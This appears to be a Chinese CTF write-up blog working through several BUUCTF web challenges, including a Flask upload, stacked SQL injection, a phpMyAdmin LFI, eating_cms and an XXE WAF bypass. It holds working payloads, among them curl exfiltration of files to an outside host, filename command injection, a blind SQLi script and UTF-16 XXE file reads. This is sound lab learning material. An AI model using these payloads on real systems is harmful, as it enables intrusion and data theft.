app = Flask(__name__)
bootstrap = Bootstrap(app)
app.secret_key = SECRET_KEY

temp = '''
Permission denied!
<script type="text/javascript">
onload=function(){
setInterval(go, 1000);
};
var x=3;
function go(){
x--;
if(x>0){
document.getElementById("sp").innerHTML=x;
}else{
location.href='/';
}
}
</script>
'''

@app.route('/login')
def hello():
id = session.get("id")
return render_template('hello.html')

@app.route('/', methods=['GET', 'POST'])
def login():
error = None
session['username'] = 'default'
session['password'] = 'default'
if request.method == 'POST':
session['id'] = b'100'
session['username'] = request.form['username']
session['password'] = request.form['password']
session['is_login'] = True
return redirect(url_for('hello'))
return render_template('login.html', error=error)


@app.route('/logout')
def logout():
session.clear()
return render_template('logout.html')

@app.errorhandler(500)
def error(e):
return '500 error'

@app.errorhandler(404)
def error1(e):
rst = make_response('404 not found')
rst.headers['SWPUCTF_CSRF_Token'] = "U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg=="
return rst

@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1 or filename.find('/') != -1:
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

if __name__ == '__main__':
app.run(host="0.0.0.0", port="7777")

这里有一个./flag/flag.jpg 同样的方法,软链接直接读一下就出来了

1
2
3
[email protected]:~# ln -s /proc/self/cwd/flag/flag.jpg p1k
[email protected]:~# zip -y t5.zip p1k
adding: p1k (stored 0%)

非预期

感觉非预期比预期解麻烦好多

有两处可控点

No.1

session[‘username’]处命令注入

https://nikoeurus.github.io/2019/12/09/SWPU-ctf/#easy-python

过滤了; 但是没有过滤& | 等

构造username

1
& curl vps:8888 -d "@./flag/flag.jpg" #

这里师傅 还借了base64的一次中间转换 强

把flag.jpg base64编码一下

1
& base64 ./flag/flag.jpg > /tmp/1.txt #

把/tmp/1.txt 外带

1
& curl vps:8888 -d "@/tmp/1.txt" #

解码

1
$ cat 1.txt | base64 -d > flag.jpg
注意

我当时在这里构造的时候,一直报错,我推测我只是构造了多条命令执行,但是没有闭合或者截断后面的数据

这里用# 注释了后面的数据

我只用了; 换行符来执行多条命令

1
2
;ls;
ls\n

这种没有处理后边的数据,会报错,进而被服务器捕捉到(题目的源码里有捕捉错误的地方),服务器这时就会返回错误

No.2

filename处命令注入

1
filename="$(sleep 5).zip"

过滤了; /

编码绕过 附上大佬的exp

ascii码与字符转换

1
2
awk 'BEGIN{printf "%c\n",97}'  ascii码转字符
printf "%d\n" "'a" 字符转ASCII码码

https://www.4hou.com/web/21991.html

外带数据

1
filename="$(curl 106.14.114.127:23333 -T `pwd`).zip"

外带文件

1
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

-T 上传文件

pwd 获取当前工作目录的完整路径

[SWPU2019]Web4

堆叠注入

确定是否有堆叠查询

这里我直接用

1
admin';select sleep(5);

不行 得用预处理语句才行 可能是被过滤了

1
{"username":"admin';set @sql=0x73656c65637420736c656570283529;prepare presql from @sql;execute presql;","password":"admin"}

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import json
import time
import binascii

url = "http://fbc4838a-0247-4fb4-9104-9106e8ec80c6.node3.buuoj.cn/index.php?r=Login/Login"
database = ""
table_name = "flag,user"
flag = "AmOL#T.zip"
column_name = "username,password"
password = "[email protected]*jbfdsb!"#admin/[email protected]*jbfdsb!
for i in range(1,50):
for j in range(32,128):
#payload = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),"+str(i)+",1))="+str(j)+",sleep(3),0);"
#payload = "select if(ascii(substr((select group_concat(password) from user),"+str(i)+",1))="+str(j)+",sleep(3),0);"
payload = "select if(ascii(substr((select flag from flag),"+str(i)+",1))="+str(j)+",sleep(3),0);"
payload = binascii.b2a_hex(payload.encode())
username = "';set @sql=0x"+payload.decode()+";prepare test from @sql;execute test;"
#username = "'^(case/**/hex(mid(flag.flag/**/from/**/"+str(i)+"))/**/when/**/"+k+hex_database+"/**/then/**/1/**/else/**/abs(-9223372036854775808)/**/end)-- -"
#username = "'^(case hex(mid(database() from -1)) when 65 then 1 else abs(-9223372036854775808) end)-- -"
data = {
"username":username,
"password":"1"
}
#print username
data = json.dumps(data)
print(data)
try:
r = requests.post(url,data=data,timeout=3)
time.sleep(2)
except :
database = database + chr(j)
print(database)
break

盗的大佬的脚本 自己改了一下

https://nikoeurus.github.io/2019/12/09/SWPU-ctf/#demo-mvc

flag哪里死活注不出来

[SWPU2019]Web6

提交输入框后的返回情况有两种 很明显盲注

正确 返回wrong passwd

错误 返回wrong username or password

但是我死活注不出来 用户名和密码

我最后得到的 是 xiaoc glzjin{

[GWCTF 2019]我有一个数据库

广外的ctf

扫目录找到phpmyadmin CVE-2018-12613

1
GET /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../../../flag HTTP/1.1

poc直接打

找一下位置

1
2
3
4
5
6
s='XnicSPu7Ti'
lis='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in s:
a=lis.find(i)
print(a)
print(len(lis))

爆破

1
2
3
4
5
6
7
8
9
[email protected]:/tools/php_mt_seed-4.0# ./php_mt_seed 59 59 0 61 13 13 0 61 8 8 0 61 2 2 0 61 54 54 0 61 51 51 0 61 20 20 0 61 33 33 0 61 55 55 0 61 8 8 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 653.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x0e000000 - 0x0fffffff, speed 39.6 Mseeds/s
seed = 0x0f2adc30 = 254467120 (PHP 7.1.0+)
Found 1, trying 0xfe000000 - 0xffffffff, speed 39.8 Mseeds/s
Found 1

拿到种子seed = 0x0f2adc30 = 254467120 (PHP 7.1.0+)

把PHP的版本改为7.1

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(254467120);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo "$str";
?>

生成一串随机数

XnicSPu7TiWFjxaDZHo0 提交一下 拿到flag

[N1CTF 2018]eating_cms

一直卡在登陆界面哪里,BUU有DOS保护,不能扫目录, 忘了去看register.php

注册一个账号,然后登陆

user.php 有文件包含,伪协议读源码

1
user.php?page=php://filter/read=convert.base64-encode/resource=config

要是可以扫目录就好了,能拿到大部分文件名,然后读一下就完事了,这里要对常见的文件名有一定的了解

在.viminfo里发现

1
2
3
vim updateadmin.php
vim info.php
vim login.php

访问一下

image

读一下源码

1
2
3
4
5
6
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly ");
}
include "templates/update.html";
?>

右键看一下源代码 发现这个输入框是给action=”updateadmin233333333333333.php 传参数

读一下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");

}
//die($_SESSION['isadmin']);
if (($_REQUEST['username'])) {

if ($_SESSION['isadmin'] === '1') {
$user2up = $_REQUEST['username'];
// die($user2up);
$ress = updateadmin('1', $user2up);
// die('11111');
// die($ress);
if ($ress == 1) {
// die('1111111sdfdsfs');
echo "<script>alert('update success')</script>";
} else {
echo "<script>alert('update fail')</script>";
}
} else {
Header("Location: index.php");
}
}
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
?>

这里调用了一个updateadmin.php 跟进看一下

1
2
3
4
5
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);

这里还有一个条件限制就是admin

1
2
if ($_SESSION['isadmin'] === '1') {
$user2up = $_REQUEST['username'];

回头看了一眼 注册函数 发现根本注入不了,isadmin的位置固定为了0

1
2
3
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";

并且这里还有过滤,白名单 凉凉 要是可以注入的话 p1k','123','1');--+ 就完事了

在前面的function.php中有一处为危险函数parse_url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}

这个函数作用是过滤flag文件,碰到上面那3个关键词,就返回hacker函数

但是parse_url函数有个特性遇到///返回flase

1
node3.buuoj.cn///user.php?page=ffffllllaaaaggg

返回

you can find sth in m4aaannngggeee

访问一下 出现了一个文件上传的界面

1
node3.buuoj.cn/user.php?page=m4aaannngggeee

和之前一样,再去看一下源代码,在提交哪里看到了 文件要上传给action=”upllloadddd.php”

老套路 访问+伪协议读源码+右键看源码

找到一处 system执行命令

1
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

构造filename

1
filename="1;ls;#.jpg"

cat一下

1
"1;cat ffffllllaaaaggg.php;#.jpg"

是个假的

再找找

1
filename="1;ls ..;#.jpg"

找到个flag233 这里用ls ../ 不行 必须得用.. 貌似/被过滤了 但是我在源码里面没找到过滤啊

过滤了/ 得先切换一下目录,在cat

1
filename="1;cd ..;cat flag_233333;#.jpg"

https://delcoding.github.io/2018/03/n1ctf-funning-eating-cms/

总结

跟着wp做的

中间落下了很多点

总结一下 这题牵扯到很多文件,像user.php register.php这种可以通过扫目录,经验来拿到

但是像那种uploadadmin.php这种 还是要通过F12看源码 来拿到 也就是看表单是提交到哪里的

还有一个就是通过伪协议读源码,一边读一遍拿文件名

命令注入的姿势太骚,承受不住

[CSAWQual 2019]Web_Unagi

随便点了几下 看到题目给的文件格式有点像xml 然后就把他给的东西复制了一份 直接上传

直接显示了结果

随后上传了一个改了名的图片,报错了 出现了

simplexml_load_file()

xxe这下实锤了

随便用了一个payload 被WAF了 本想着UTF7编码绕过来着 后来感觉这像xslt 就冲xslt去了,折腾了半天 没弄出来

wp

utf16绕过WAF

1
2
3
<?xml version="1.0" encoding="UTF-16" ?>
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag">]>
<users><user><intro>&yeet;</intro></user></users>

编码一下

1
iconv -f utf-8 -t utf-16be < xxe.xml > xxe-utf-16.xml

https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

https://mohemiv.com/tags/xxe/

这里的intro是通过题目来的

1
2
3
4
5
6
7
Name: Bob

Email: [email protected]

Group: CSAW2019

Intro: Bob is cool too

题目上给了两个信息 但是在给的上传文件的sample中 却没有Intro 所以猜测intro的输出不会被waf影响,因为随便用一个标签的话 会有截断

谈谈对编码绕过WAF的个人理解

一个是utf8编码 一个是utf16编码

<?xml version="1.0" encoding="UTF-16"?> 这一行使用utf8编码

1
2
<!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag">]>
<users><user><intro>&yeet;</intro></user></users>

这里使用utf16编码

libxml2

准确的命令转换

1
2
3
echo -n '<?xml version="1.0" encoding="UTF-16BE"' > payload.xml
echo '?><!DOCTYPE users [<!ENTITY yeet SYSTEM "file:///flag">]>
<users><user><intro>&yeet;</intro></user></users>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

当xml解析器解析到encoding的时候 就会立刻从utf8转到utf16

Xerces2 Java解析器

1
2
echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xml
echo '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

两种转码方式查了一个问号?